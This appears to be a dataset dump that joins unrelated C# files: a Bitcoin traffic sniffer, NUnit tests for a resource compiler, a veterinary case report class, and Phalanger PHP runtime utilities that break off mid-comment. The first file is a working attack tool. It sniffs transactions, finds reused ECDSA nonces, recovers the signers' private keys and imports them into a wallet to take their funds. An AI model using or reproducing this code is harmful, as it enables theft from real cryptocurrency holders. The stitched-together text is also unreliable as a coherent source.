context
stringlengths
2.52k
185k
gt
stringclasses
1 value
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Security.Cryptography; using BitcoinLib.Services.Coins.Bitcoin; using Open.Sniffer; using Org.BouncyCastle.Math; namespace BitcoinTxWatcher { class BtcSniffer : SnifferBase { private readonly SHA256 _sha256 = SHA256.Create(); private readonly IBitcoinService _btc = new BitcoinService(); public BtcSniffer(IPAddress bindTo) : base(bindTo) { } protected override void ProcessPacket(ProtocolType protocolType, object packet) { if (protocolType != ProtocolType.Tcp) return; var tcpHeader = (TcpHeader) packet; if (tcpHeader.DestinationPort != 8333 && tcpHeader.SourcePort != 8333) return; if(tcpHeader.MessageLength == 0) return; try { var btcHeader = new BtcHeader(tcpHeader); if(! btcHeader.Command.StartsWith("tx")) return; var tx = ParseTx(btcHeader.Payload); ProcessTransaction(tx); Console.WriteLine("{0} Inputs", tx.Inputs.Count); var i = 0; foreach (var input in tx.Inputs) { Console.WriteLine(" ({0}) {1}", i, input.PublicKey.ToHex()); Console.WriteLine(" R: {0}", input.R.ToString(16)); Console.WriteLine(" M: {0}", input.M.ToString(16)); Console.WriteLine(" S: {0}", input.S.ToString(16)); i++; } Console.WriteLine("{0} Outputs", tx.Outputs.Count); i = 0; foreach (var output in tx.Outputs) { Console.WriteLine(" ({0})", i); Console.WriteLine(" Satoshies: {0}", output.Value / 100000000.0); Console.WriteLine(" Script : {0}", output.Script.ToHex()); i++; } Console.WriteLine("---------------------------------------------------------"); } catch { } } private void ProcessTransaction(Tx tx) { if (tx.Inputs.Count < 2) return; for (var i = 0; i < tx.Inputs.Count; i++) { var vin = tx.Inputs[i]; using (var memw = new MemoryStream()) { using (var writer = new BinaryWriter(memw)) { writer.Write(tx.Version); writer.Write((byte)tx.Inputs.Count); for (var j = 0; j < tx.Inputs.Count; j++) { var vinj = tx.Inputs[j]; writer.Write(vinj.Previous); writer.Write(vinj.PreviousSeq); if (i == j) { var parentTxId = _btc.GetRawTransaction(vin.Previous.Reverse().ToHex(), 0); var parentTx = ParseTx(parentTxId.ToByteArray()); var output = parentTx.Outputs[vin.PreviousSeq]; writer.Write(output.ScriptLength); writer.Write(output.Script); } else { writer.Write((byte)0); } writer.Write(vinj.Seq); } writer.Write((byte)tx.Outputs.Count); for (int k = 0; k < tx.Outputs.Count; k++) { var tout = tx.Outputs[k]; writer.Write(tout.Value); writer.Write(tout.ScriptLength); writer.Write(tout.Script); } writer.Write(tx.Locktime); writer.Write(0x1); var raw = memw.ToArray(); var hash = _sha256.ComputeHash(raw); hash = _sha256.ComputeHash(hash); tx.Inputs[i].M = BigIntegerEx.FromByteArray(hash); } } //Console.Write("{0} => Analizando TxId: {1}", DateTime.Now, txId); // Find duplicated R values var inputs = tx.Inputs.GroupBy(x => x.R) .Where(x => x.Count() >= 2) .Select(y => y) .ToList(); if (inputs.Any()) { var i0 = inputs[0].First(); var i1 = inputs[0].Last(); var pp = CalculatePrivateKey(i0.M, i1.M, i0.S, i1.S, i0.R); var pkwif = KeyToWIF(pp.ToString(16)); Console.WriteLine(" **************************************************************************"); Console.WriteLine(" **** pk: {0}", pkwif); Console.WriteLine(" **************************************************************************"); _btc.ImportPrivKey(pkwif, "", false); for (int ii = 0; ii < 150; ii++) Console.Beep(); } Console.WriteLine(""); } } private static Tx ParseTx(byte[] rtx) { return ParseTx(new ArraySegment<byte>(rtx, 0, rtx.Length)); } private static Tx ParseTx(ArraySegment<byte> rtx) { var tx = new Tx(); using (var memr = new MemoryStream(rtx.Array, rtx.Offset, rtx.Count)) { using (var reader = new BinaryReader(memr)) { tx.Version = reader.ReadInt32(); var ic = reader.ReadVarInt(); tx.Inputs = new List<Input>((int)ic); for (var i = 0; i < ic; i++) { var input = new Input(); input.Previous = reader.ReadBytes(32); input.PreviousSeq = reader.ReadInt32(); input.ScriptLength = reader.ReadVarInt(); input.Script = reader.ReadBytes(3); if (!(input.Script[1] == 0x30 && (input.Script[0] == input.Script[2] + 3))) { throw new Exception(); } var vv = reader.ReadByte(); input.rawR = reader.ReadStringAsByteArray(); vv = reader.ReadByte(); input.rawS = reader.ReadStringAsByteArray(); input.HashType = reader.ReadByte(); input.PublicKey = reader.ReadStringAsByteArray(); input.Seq = reader.ReadInt32(); tx.Inputs.Add(input); } var oc = reader.ReadVarInt(); tx.Outputs = new List<Output>((int)oc); for (int i = 0; i < oc; i++) { var output = new Output(); output.Value = reader.ReadInt64(); output.ScriptLength = reader.ReadByte(); output.Script = reader.ReadBytes(output.ScriptLength); tx.Outputs.Add(output); } tx.Locktime = reader.ReadInt32(); } } return tx; } private static BigInteger CalculatePrivateKey(BigInteger m1, BigInteger m2, BigInteger s1, BigInteger s2, BigInteger r) { var q = BigInteger.Two.Pow(256).Subtract(new BigInteger("432420386565659656852420866394968145599")); var m1m2 = m1.Subtract(m2); var s1s2 = s1.Subtract(s2); var s1s2_inv = s1s2.ModInverse(q); var k = m1m2.Multiply(s1s2_inv).Mod(q); var t = s1.Multiply(k).Subtract(m1).Mod(q); var prk = t.Multiply(r.ModInverse(q)).Mod(q); return prk; } static string KeyToWIF(string pk) { var bytes = pk.ToByteArray(); var hex = bytes.ToHex(); var step1 = ((hex.Length % 2 == 0 ? "80" : "800") + hex).ToByteArray(); var sha256 = SHA256.Create(); step1 = sha256.ComputeHash(step1); var step2 = sha256.ComputeHash(step1); var buf = new byte[bytes.Length + 5]; buf[0] = 0x80; Buffer.BlockCopy(bytes, 0, buf, 1, bytes.Length); Buffer.BlockCopy(step2, 0, buf, bytes.Length + 1, 4); return Base58Encoding.Encode(buf); } } }
using System; using System.Collections.Generic; using System.Linq; using Assman.TestSupport; using NUnit.Framework; namespace Assman { [TestFixture] public class TestResourceCompiler { private ResourceTestContext _context; private ResourceCompiler _compiler; [SetUp] public void SetupContext() { _context = new ResourceTestContext(ResourceMode.Release); _compiler = _context.GetConsolidator(); } [Test] public void WhenPreConsolidatedReportIsGenerated_ConsolidatedUrlsDependenciesAreIncludedInReport() { var coreGroup = _context.CreateGroup("~/scripts/consolidated/core.js"); var sharedGroup = _context.CreateGroup("~/scripts/consolidated/shared.js"); var homeGroup = _context.CreateGroup("~/scripts/consolidated/home.js"); var jquery = _context.CreateResource("~/scripts/jquery.js") .InGroup(coreGroup).Resource; var site = _context.CreateResource("~/scripts/site.js") .WithDependencies(jquery) .InGroup(coreGroup).Resource; var mycomponent = _context.CreateResource("~/scripts/mycomponent.js") .InGroup(sharedGroup) .WithDependencies(site).Resource; var myothercomponent = _context.CreateResource("~/scripts/myothercomponent.js") .InGroup(sharedGroup) .WithDependencies(site).Resource; var homeIndex = _context.CreateResource("~/Views/Home/Index.js") .InGroup(homeGroup) .WithDependencies(jquery, mycomponent).Resource; var homePartial = _context.CreateResource("~/Views/Home/_MyPartial.js") .InGroup(homeGroup) .WithDependencies(jquery, site).Resource; var accountIndex = _context.CreateResource("~/Views/Account/Index.js") .WithDependencies(myothercomponent).Resource; var preConsolidatedReport = _compiler.CompileAll(resource => { }); var homeGroupDepends = preConsolidatedReport.Dependencies.ShouldContain(d => d.ResourcePath == homeGroup.ConsolidatedUrl); homeGroupDepends.Dependencies.CountShouldEqual(3); homeGroupDepends.Dependencies[0].ShouldEqual(jquery.VirtualPath); homeGroupDepends.Dependencies[1].ShouldEqual(site.VirtualPath); homeGroupDepends.Dependencies[2].ShouldEqual(mycomponent.VirtualPath); } [Test] public void WhenPreConsolidatedReportIsGenerated_UnconsolidatedResourcesAreIncluded() { _context.CreateGroup("~/group1.js", "~/file1.js", "~/file2.js"); _context.CreateGroup("~/group2.js", "~/file3.js", "~/file4.js"); _context.CreateResource("~/file5.js"); _context.CreateResource("~/file6.js"); var report = _compiler.CompileAll(r => {}); report.Scripts.SingleResources.CountShouldEqual(2); report.Scripts.SingleResources[0].OriginalPath.ShouldEqual("~/file5.js"); report.Scripts.SingleResources[0].CompiledPath.ShouldEqual("~/file5.compiled.js"); report.Scripts.SingleResources[1].OriginalPath.ShouldEqual("~/file6.js"); report.Scripts.SingleResources[1].CompiledPath.ShouldEqual("~/file6.compiled.js"); } [Test] public void WhenPreConsolidatedReportIsGenerated_FilesThatAlreadyHaveMinifiedEquivilentsAreNotCompiled() { _context.CreateResource("~/file.js"); _context.CreateResource("~/file.min.js"); _context.CreateResource("~/ms-file.debug.js"); _context.CreateResource("~/ms-file.js"); var compiledResources = new List<ICompiledResource>(); var report = _compiler.CompileAll(compiledResources.Add); report.Scripts.SingleResources.CountShouldEqual(0); compiledResources.CountShouldEqual(0); } [Test] public void ConsolidateGroupExcludesResourcesMatchingGivenExcludeFilter() { var group = _context.CreateGroup("~/consolidated.js"); _context.CreateResource("~/file1.js") .InGroup(group); _context.CreateResource("~/file2.js") .InGroup(group); _context.CreateResource("~/file3.js") .InGroup(group); var groupTemplate = new StubResourceGroupTemplate(group); groupTemplate.ResourceType = ResourceType.Script; var excludeFilter = ToFilter(r => r.VirtualPath.Contains("file2")); var consolidatedResource = _compiler.CompileGroup(group.ConsolidatedUrl, groupTemplate.WithContext(excludeFilter)); consolidatedResource.ShouldNotBeNull(); consolidatedResource.Resources.Count().ShouldEqual(2); } [Test] public void ConsolidateGroupSortsResourcesByDependencies() { var dependencyLeaf1 = _context.CreateResource("~/dependency-leaf1.js").Resource; var dependencyLeaf2 = _context.CreateResource("~/dependency-leaf2.js").Resource; var dependencyRoot3 = _context.CreateResource("~/dependency-root3.js").Resource; var dependencyRoot1 = StubResource.WithPath("~/dependency-root1.js"); var dependencyRoot1Minified = _context.CreateResource("~/dependency-root1.min.js").Resource; var dependencyBranch1 = _context.CreateResource("~/dependency-branch1.js").Resource; var dependencyLeaf5 = _context.CreateResource("~/dependency-leaf5.js").Resource; var dependencyRoot2 = _context.CreateResource("~/dependency-root2.js").Resource; var dependencyBranch2 = _context.CreateResource("~/dependency-branch2.js").Resource; var dependencyLeaf4 = _context.CreateResource("~/dependency-leaf4.js").Resource; var dependencyLeaf3 = _context.CreateResource("~/dependency-leaf3.js").Resource; var group = new ResourceGroup("~/consolidated.js", new IResource[] { dependencyLeaf1, dependencyLeaf2, dependencyRoot1.ExternallyCompiledWith(dependencyRoot1Minified, ResourceMode.Release), dependencyRoot2, dependencyBranch1, dependencyLeaf3, dependencyRoot3, dependencyBranch2, dependencyLeaf4, dependencyLeaf5 }); var groupTemplate = new StubResourceGroupTemplate(group); groupTemplate.ResourceType = ResourceType.Script; _context.AddGlobalScriptDependencies(dependencyRoot1, dependencyRoot2, dependencyRoot3); _context.DependencyProvider.SetDependencies(dependencyBranch2, dependencyBranch1.VirtualPath); _context.DependencyProvider.SetDependencies(dependencyLeaf1, dependencyBranch1.VirtualPath); _context.DependencyProvider.SetDependencies(dependencyLeaf2, dependencyBranch1.VirtualPath); _context.DependencyProvider.SetDependencies(dependencyLeaf3, dependencyBranch2.VirtualPath); _context.DependencyProvider.SetDependencies(dependencyLeaf4, dependencyBranch2.VirtualPath); _context.DependencyProvider.SetDependencies(dependencyLeaf5, dependencyBranch1.VirtualPath, dependencyBranch2.VirtualPath); var consolidatedResource = _compiler.CompileGroup(group); var resources = consolidatedResource.Resources.ToList(); resources[0].VirtualPath.ShouldEqual(dependencyRoot1.VirtualPath); resources[1].VirtualPath.ShouldEqual(dependencyRoot2.VirtualPath); resources[2].VirtualPath.ShouldEqual(dependencyRoot3.VirtualPath); resources[3].VirtualPath.ShouldEqual(dependencyBranch1.VirtualPath); resources[4].VirtualPath.ShouldEqual(dependencyLeaf1.VirtualPath); resources[5].VirtualPath.ShouldEqual(dependencyLeaf2.VirtualPath); resources[6].VirtualPath.ShouldEqual(dependencyBranch2.VirtualPath); resources[7].VirtualPath.ShouldEqual(dependencyLeaf3.VirtualPath); resources[8].VirtualPath.ShouldEqual(dependencyLeaf4.VirtualPath); resources[9].VirtualPath.ShouldEqual(dependencyLeaf5.VirtualPath); } [Test] public void CompileUnconsolidatedResourcesOnlyCompilesUnconsolidatedResources() { var group = _context.CreateGroup("~/consolidated.js"); _context.CreateResource("~/file1.js") .InGroup(group); _context.CreateResource("~/file2.js") .InGroup(group); _context.CreateResource("~/file3.js") .InGroup(group); var unconsolidatedResource1 = _context.CreateResource("~/unconsolidated1.js").Resource; var unconsolidatedResource2 = _context.CreateResource("~/unconsolidated2.js").Resource; var unconsolidatedResourceCompilations = _compiler.CompileUnconsolidatedResources(ResourceType.Script, r => {}).ToList(); unconsolidatedResourceCompilations.CountShouldEqual(2); unconsolidatedResourceCompilations[0].Resources.Single().VirtualPath.ShouldEqual(unconsolidatedResource1.VirtualPath); unconsolidatedResourceCompilations[1].Resources.Single().VirtualPath.ShouldEqual(unconsolidatedResource2.VirtualPath); } [Test] public void CompileUnconsolidatedResourcesSkipsResourcesThatWereCompiledByAnExternalProcess() { var group = _context.CreateGroup("~/consolidated.js"); _context.CreateResource("~/file1.js") .InGroup(group); _context.CreateResource("~/file2.js") .InGroup(group); _context.CreateResource("~/file3.js") .InGroup(group); var unconsolidatedResource2 = _context.CreateResource("~/unconsolidated2.js").Resource; var unconsolidatedResource1 = _context.CreateResource("~/unconsolidated1.js").Resource; var unconsolidatedMinifiedResource1 = _context.CreateResource("~/unconsolidated1.min.js").Resource; var unconsolidatedResourceCompilations = _compiler.CompileUnconsolidatedResources(ResourceType.Script, r => { }).ToList(); unconsolidatedResourceCompilations.CountShouldEqual(1); unconsolidatedResourceCompilations[0].Resources.Single().VirtualPath.ShouldEqual(unconsolidatedResource2.VirtualPath); } private IResourceFilter ToFilter(Predicate<IResource> predicate) { return ResourceFilters.Predicate(predicate); } } }
using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Drawing.Printing; using DevExpress.XtraPrinting; using DevExpress.XtraReports.UI; using EIDSS.Reports.BaseControls; using EIDSS.Reports.BaseControls.Keeper; using EIDSS.Reports.BaseControls.Report; using bv.model.BLToolkit; using eidss.model.Reports.AZ; namespace EIDSS.Reports.Parameterized.Human.AJ.Reports { public sealed partial class VetCaseReport : BaseReport { private bool m_IsFirstRow = true; private bool m_IsPrintGroup = true; private int m_DiagnosisCounter; private class Totals { public int NumberCases { get; set; } public int NumberSamples { get; set; } public int NumberSpecies { get; set; } } public VetCaseReport() { InitializeComponent(); } public void SetParameters(DbManagerProxy manager, VetCasesSurrogateModel model) { SetLanguage(manager, model.Language); ReportRebinder rebinder = ReportRebinder.GetDateRebinder(model.Language, this); DateTimeLabel.Text = rebinder.ToDateTimeString(DateTime.Now); periodCell.Text = GetPeriodText(model); organizationCell.Text = model.OrganizationEnteredByName; locationCell.Text = LocationHelper.GetLocation(model.Language, baseDataSet1.sprepGetBaseParameters[0].CountryName, model.RegionId, model.RegionName, model.RayonId, model.RayonName); m_DiagnosisCounter = 1; Action<SqlConnection> action = (connection => { m_DataAdapter.Connection = connection; m_DataAdapter.Transaction = (SqlTransaction)manager.Transaction; m_DataAdapter.CommandTimeout = CommandTimeout; m_DataSet.EnforceConstraints = false; m_DataAdapter.Fill(m_DataSet.spRepVetCaseReportAZ, model.Language, model.StartYear, model.EndYear, model.StartMonth, model.EndMonth, model.RegionId, model.RayonId, model.OrganizationEnteredById); }); FillDataTableWithArchive(action, (SqlConnection) manager.Connection, m_DataSet.spRepVetCaseReportAZ, model.UseArchive, new[] { "strDiagnosisSpeciesKey", "strOIECode", "idfsDiagnosis", "DiagnosisOrderColumn", "SpeciesOrderColumn"}); DataView defaultView = m_DataSet.spRepVetCaseReportAZ.DefaultView; FillNumberOfCasesAndSamples(model, defaultView); var totals = GetTotals(defaultView); NumberCasesTotalCell.Text = totals.NumberCases.ToString(); NumberSamplesTotalCell.Text = totals.NumberSamples.ToString(); NumberSpeciesTotalCell.Text = totals.NumberSpecies.ToString(); defaultView.Sort = "DiagnosisOrderColumn, strDiagnosisName, SpeciesOrderColumn, strSpecies"; } private static void FillNumberOfCasesAndSamples(VetCasesSurrogateModel model, DataView defaultView) { defaultView.Sort = "idfsDiagnosis, SpeciesOrderColumn desc"; if (model.UseArchive) { long diagnosisId = -1; int numberCases = 0; int numberSamples = 0; foreach (DataRowView row in defaultView) { var currentDiagnosisId = (long) row["idfsDiagnosis"]; if (currentDiagnosisId != diagnosisId) { diagnosisId = currentDiagnosisId; numberCases = (int) row["intNumberCases"]; numberSamples = (int) row["intNumberSamples"]; } else { row["intNumberCases"] = numberCases; row["intNumberSamples"] = numberSamples; } } } } private static Totals GetTotals( DataView defaultView) { defaultView.Sort = "idfsDiagnosis, SpeciesOrderColumn desc"; long diagnosisId = -1; var totals = new Totals(); foreach (DataRowView row in defaultView) { var currentDiagnosisId = (long) row["idfsDiagnosis"]; if (currentDiagnosisId != diagnosisId) { diagnosisId = currentDiagnosisId; totals.NumberCases += (int)row["intNumberCases"]; totals.NumberSamples += (int)row["intNumberSamples"]; totals.NumberSpecies += (int)row["intNumberSpecies"]; } } return totals; } private void GroupFooterDiagnosis_BeforePrint(object sender, PrintEventArgs e) { m_IsPrintGroup = true; m_DiagnosisCounter++; RowNumberCell.Text = m_DiagnosisCounter.ToString(); } private void RowNumberCell_BeforePrint(object sender, PrintEventArgs e) { AjustGroupBorders(RowNumberCell, m_IsPrintGroup); AjustGroupBorders(DiseaseCell, m_IsPrintGroup); AjustGroupBorders(OIECell, m_IsPrintGroup); AjustGroupBorders(NumberCasesCell, m_IsPrintGroup); AjustGroupBorders(NumberSamplesCell, m_IsPrintGroup); m_IsPrintGroup = false; } private void SpeciesCell_BeforePrint(object sender, PrintEventArgs e) { if (!m_IsFirstRow) { SpeciesCell.Borders = BorderSide.Left | BorderSide.Top | BorderSide.Right; NumberSpeciesCell.Borders = BorderSide.Left | BorderSide.Top | BorderSide.Right; } m_IsFirstRow = false; } private void TotalNumberCell_BeforePrint(object sender, PrintEventArgs e) { TotalNumberCell.Text = m_DiagnosisCounter.ToString(); } private void AjustGroupBorders(XRTableCell cell, bool isPrinted) { if (!isPrinted) { cell.Text = string.Empty; cell.Borders = BorderSide.Left | BorderSide.Right; } else { cell.Borders = m_DiagnosisCounter > 1 ? BorderSide.Left | BorderSide.Top | BorderSide.Right : BorderSide.Left | BorderSide.Right; } } #region helper methods private static string GetPeriodText(VetCasesSurrogateModel model) { List<ItemWrapper> month = BaseDateKeeper.CreateMonthCollection(); string period; if (model.StartYear == model.EndYear) { if (model.StartMonth == model.EndMonth) { period = model.StartMonth.HasValue ? string.Format("{0} {1}", month[model.StartMonth.Value - 1], model.StartYear) : model.StartYear.ToString(); } else { period = model.StartMonth.HasValue && model.EndMonth.HasValue ? string.Format("{0} - {1} {2}", month[model.StartMonth.Value - 1], month[model.EndMonth.Value - 1], model.StartYear) : model.StartYear.ToString(); } } else { period = model.StartMonth.HasValue && model.EndMonth.HasValue ? string.Format("{0} {1} - {2} {3}", month[model.StartMonth.Value - 1], model.StartYear, month[model.EndMonth.Value - 1], model.EndYear) : string.Format("{0} - {1}", model.StartYear, model.EndYear); } return period; } #endregion } }
/* Copyright (c) 2004-2006 Tomas Matousek. The use and distribution terms for this software are contained in the file named License.txt, which can be found in the root of the Phalanger distribution. By using this software in any fashion, you are agreeing to be bound by the terms of this license. You must not remove this notice from this software. */ using System; using System.Reflection; using System.Reflection.Emit; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Threading; using PHP.Core.Reflection; namespace PHP.Core { #region Delegates /// <summary> /// A delegate used to call functions and methods indirectly. /// </summary> [Emitted] public delegate object RoutineDelegate(object instance, PhpStack/*!*/ stack); /// <summary> /// The delegate to the Script's Main helper method. /// </summary> /// <param name="context">A script context.</param> /// <param name="localVariables">A table of defined variables.</param> /// <param name="self">PHP object context.</param> /// <param name="includer">PHP class context.</param> /// <param name="isMain">Whether the target script is the main script.</param> /// <returns>The return value of the Main method.</returns> [Emitted] public delegate object MainRoutineDelegate(ScriptContext/*!*/ context, Dictionary<string, object> localVariables, DObject self, DTypeDesc includer, bool isMain); [Emitted] public delegate object GetterDelegate(object instance); [Emitted] public delegate void SetterDelegate(object instance, object value); #endregion #region Default Argument Substitute /// <summary> /// Substitutes for default arguments and default type arguments. /// </summary> public static class Arg { /// <summary> /// Default type argument. /// </summary> public static readonly DTypeDesc/*!*/ DefaultType = DTypeDesc.Create(typeof(Arg)); /// <summary> /// Singleton substituting default argument. /// </summary> public static readonly PhpReference/*!*/ Default = new PhpReference(); } #endregion #region PhpFunctionUtils /// <summary> /// Provides means to work with PHP functions and methods. /// </summary> public sealed class PhpFunctionUtils { /// <summary> /// SpecialName should be here, but unfortunately CLR blocks it :( /// </summary> internal const MethodAttributes DynamicStubAttributes = MethodAttributes.Public | MethodAttributes.Static; /// <summary> /// Assumed maximal number of overloads in all libraries. /// </summary> internal const int AssumedMaxOverloadCount = 10; /// <summary> /// Checks whether a mandatory parameter is passed by alias. /// </summary> /// <param name="paramType">The parameter type.</param> /// <returns> /// Returns whether the parameter is passed either by object reference (ref/out) or is <see cref="PhpReference"/>. /// </returns> internal static bool IsParameterByAlias(Type/*!*/ paramType) { return paramType.IsByRef || paramType == typeof(PhpReference); } /// <summary> /// Reflects a CLR method representing user routine and extracts information about the signature. /// </summary> /// <param name="method">GetUserEntryPoint info.</param> /// <param name="parameters">Parameter infos.</param> /// <returns>Count of mandatory parameters.</returns> internal static RoutineSignature GetUserRoutineSignature(MethodInfo/*!*/ method, ParameterInfo[]/*!*/ parameters) { // TODO: return null; //// static methods has one hidden argument - the script context: //int hidden_count = method.IsStatic ? 1 : 0; //int param_count = parameters.Length - hidden_count; //Debug.Assert(param_count >= 0); //Debug.Assert(hidden_count==0 || parameters[0].ParameterType == typeof(ScriptContext)); //int last_mandatory_param_index = -1; //BitArray alias_mask = new BitArray(param_count, false); //GenericQualifiedName[] type_hints = new GenericQualifiedName[param_count]; //int j = 0; //for (int i = hidden_count; i < parameters.Length; i++, j++) //{ // // mandatory: // if (!parameters[i].IsOptional) // last_mandatory_param_index = j; // // alias: // if (parameters[i].ParameterType == typeof(PhpReference)) // alias_mask[j] = true; // // type hint: // object[] attrs = parameters[i].GetCustomAttributes(typeof(TypeHintAttribute), false); // if (attrs.Length > 0) // TODO // type_hints[j] = new GenericQualifiedName(new QualifiedName(new Name(((TypeHintAttribute)attrs[0]).TypeName)), null); //} //return new RoutineSignature( // method.ReturnType == Emit.Types.PhpReference[0], // alias_mask, // type_hints, // last_mandatory_param_index + 1); } /// <summary> /// Checks whether a specified library function implies args-aware property of the calling function. /// </summary> /// <param name="name">The name of the function.</param> /// <returns>Whether call to function <paramref name="name"/> implies args-awareness of the caller.</returns> /// <exception cref="ArgumentNullException">If <paramref name="name"/> is a <B>null</B> reference.</exception> internal static bool ImpliesArgsAwareness(Name name) { // TODO return false; // library table lookup (std: func_get_arg, func_get_args, func_num_args): // return (Functions.GetFunctionImplOptions(name) & FunctionImplOptions.NeedsFunctionArguments)!=0; } /// <summary> /// Checks whether a specified library function needs defined variables to be passed as its first argument. /// </summary> /// <param name="name">The name of the function.</param> /// <returns>Whether call to function <paramref name="name"/> implies args-awareness of the caller.</returns> internal static bool NeedsDefinedVariables(Name name) { // TODO return false; // library table lookup (std: extract, compact, get_defined_vars, import_request_variables): // return (Functions.GetFunctionImplOptions(name) & FunctionImplOptions.NeedsVariables) != 0; } /// <summary> /// Checks whether a specified name is valid constant name. /// </summary> /// <param name="name">The name.</param> /// <seealso cref="PhpVariable.IsValidName"/> public static bool IsValidName(string name) { // TODO: qualified names are valid as well return PhpVariable.IsValidName(name); } /// <summary> /// Checks whether function name is conditionally defined. /// </summary> /// <param name="realName">Internal name of the function.</param> /// <returns>True if the function name represents conditionally defined function, otherwise false.</returns> public static bool IsRealConditionalDefinition(string/*!*/ realName) { return realName.IndexOf('#') > 0; } /// <summary> /// Determines whether a specified method is an arg-less stub. /// </summary> /// <param name="method">The method.</param> /// <param name="parameters">GetUserEntryPoint parameters (optimization). Can be <B>null</B> reference.</param> /// <returns>Whether a specified method is an arg-less stub.</returns> internal static bool IsArglessStub(MethodInfo/*!*/ method, ParameterInfo[] parameters) { Debug.Assert(method != null); if (method.ReturnType == Emit.Types.Object[0]) { if (parameters == null) parameters = method.GetParameters(); return (parameters.Length == 2 && parameters[0].ParameterType == Emit.Types.Object[0] && parameters[1].ParameterType == Emit.Types.PhpStack[0]); } return false; } /// <summary> /// Determines whether a specified method is an arg-full overload. /// </summary> /// <param name="method">The method.</param> /// <param name="parameters">GetUserEntryPoint parameters (optimization). Can be <B>null</B> reference.</param> /// <returns>Whether a specified method is an arg-full overload.</returns> internal static bool IsArgfullOverload(MethodInfo/*!*/ method, ParameterInfo[] parameters) { Debug.Assert(method != null); Type type = method.ReturnType; if (type != Emit.Types.Object[0] && type != Emit.Types.PhpReference[0]) return false; // argfulls should have either EditorBrowsable or ImplementsMethod // (on Silverlight the 'EditorBrowsable' is not supported) #if !SILVERLIGHT if (!method.IsDefined(Emit.Types.EditorBrowsableAttribute, false) && !method.IsDefined(Emit.Types.ImplementsMethodAttribute, false)) return false; #endif // check parameters if (parameters == null) parameters = method.GetParameters(); if (parameters.Length == 0 || parameters[0].ParameterType != Emit.Types.ScriptContext[0]) return false; bool past_gen_params = false; for (int i = 1; i < parameters.Length; i++) { type = parameters[i].ParameterType; if (type != Emit.Types.Object[0] && type != Emit.Types.PhpReference[0]) { if (past_gen_params || type != Emit.Types.DTypeDesc[0]) return false; } else past_gen_params = true; } return true; } #region Routines Enumeration // GENERICS: iterator (filter) internal delegate void RoutineEnumCallback(MethodInfo/*!*/ argless, MethodInfo/*!*/ argfull, ParameterInfo[]/*!*/ parameters); /// <summary> /// Enumerates PHP routines contained in the specified method list. Filters out methods that /// didn't implement PHP routines (they are not argless or argfull overloads). /// </summary> internal static void EnumerateRoutines(MethodInfo[]/*!*/ methods, RoutineEnumCallback/*!*/ callback) { // TODO: can be done in a better way Dictionary<string, MethodInfo> arg_less_table = new Dictionary<string, MethodInfo>( methods.Length / 2, // at most one half of all methods are supposed to be user routines StringComparer.OrdinalIgnoreCase); // adds arg-less overloads to the hashtable: foreach (MethodInfo method in methods) { if (PhpFunctionUtils.IsArglessStub(method, null)) arg_less_table[method.Name] = method; } // searches for matching argfulls: foreach (MethodInfo method in methods) { ParameterInfo[] parameters = method.GetParameters(); // skips arg-less overloads: if (PhpFunctionUtils.IsArglessStub(method, parameters)) continue; // skips methods that hasn't a matching arg-less overload: MethodInfo argless; if (!arg_less_table.TryGetValue(method.Name, out argless)) continue; // yields the pair: callback(argless, method, parameters); } } #endregion ///// <summary> ///// Invokes a user method (either argless or argfull). ///// </summary> ///// <param name="method">A method info of the stub.</param> ///// <param name="target">An object.</param> ///// <param name="args">Arguments.</param> ///// <returns>The result of the called method.</returns> ///// <exception cref="PhpException">Fatal error.</exception> ///// <exception cref="PhpUserException">Uncaught user exception.</exception> ///// <exception cref="ScriptDiedException">Script died or exit.</exception> ///// <exception cref="TargetInvocationException">An internal error thrown by the target.</exception> //internal static object Invoke(MethodInfo method, object target, params object[] args) //{ // Debug.Assert(method != null && args != null); // try // { // return method.Invoke(target, args); // } // catch (TargetInvocationException e) // { // if (e.InnerException is PhpException || // e.InnerException is PhpUserException || // e.InnerException is ScriptDiedException || // e.InnerException is System.Threading.ThreadAbortException) // throw e.InnerException; // throw; // } //} #region Constructor invocation ///// <summary> ///// Creates a new instance of a type by invoking its constructor. ///// </summary> ///// <param name="type">The type to instantiate.</param> ///// <param name="args">Arguments.</param> ///// <returns>The result of the called method.</returns> ///// <exception cref="PhpException">Fatal error.</exception> ///// <exception cref="PhpUserException">Uncaught user exception.</exception> ///// <exception cref="ScriptDiedException">Script died or exit.</exception> ///// <exception cref="TargetInvocationException">An internal error thrown by the target.</exception> //internal static DObject InvokeConstructor(DTypeDesc type, params object[] args) //{ // Debug.Assert(type != null && args != null); // try // { // return ClrObject.Wrap(Activator.CreateInstance(type.RealType, args)); // } // catch (TargetInvocationException e) // { // if (e.InnerException is PhpException || // e.InnerException is PhpUserException || // e.InnerException is ScriptDiedException || // e.InnerException is System.Threading.ThreadAbortException) // throw e.InnerException; // throw; // } //} /// <summary> /// Creates a new instance of a type by invoking its constructor. /// </summary> /// <param name="type">The type to instantiate.</param> /// <param name="context">ScriptContext to be passed to the <c>type</c> constructor.</param> /// <param name="newInstance">Bool to be passed to the <c>type</c> constructor.</param> /// <returns>New instance of <c>type</c> created using specified constructor.</returns> /// <exception cref="PhpException">Fatal error.</exception> /// <exception cref="PhpUserException">Uncaught user exception.</exception> /// <exception cref="ScriptDiedException">Script died or exit.</exception> /// <exception cref="TargetInvocationException">An internal error thrown by the target.</exception> internal static DObject InvokeConstructor(DTypeDesc/*!*/type, ScriptContext context, bool newInstance) { Debug.Assert(type != null); try { var newobj = type.RealTypeCtor_ScriptContext_Bool; if (newobj == null) lock (type) if ((newobj = type.RealTypeCtor_ScriptContext_Bool) == null) { // emit the type creation: newobj = type.RealTypeCtor_ScriptContext_Bool = (DTypeDesc.Ctor_ScriptContext_Bool)BuildNewObj<DTypeDesc.Ctor_ScriptContext_Bool>(type.RealType, Emit.Types.ScriptContext_Bool); } return ClrObject.Wrap(newobj(context, newInstance)); } catch (TargetInvocationException e) { if (e.InnerException is PhpException || e.InnerException is PhpUserException || e.InnerException is ScriptDiedException || e.InnerException is System.Threading.ThreadAbortException) throw e.InnerException; throw; } } /// <summary> /// Creates a new instance of a type by invoking its constructor. /// </summary> /// <param name="type">The type to instantiate.</param> /// <param name="context">ScriptContext to be passed to the <c>type</c> constructor.</param> /// <param name="caller">DTypeDesc to be passed to the <c>type</c> constructor.</param> /// <returns>New instance of <c>type</c> created using specified constructor.</returns> /// <exception cref="PhpException">Fatal error.</exception> /// <exception cref="PhpUserException">Uncaught user exception.</exception> /// <exception cref="ScriptDiedException">Script died or 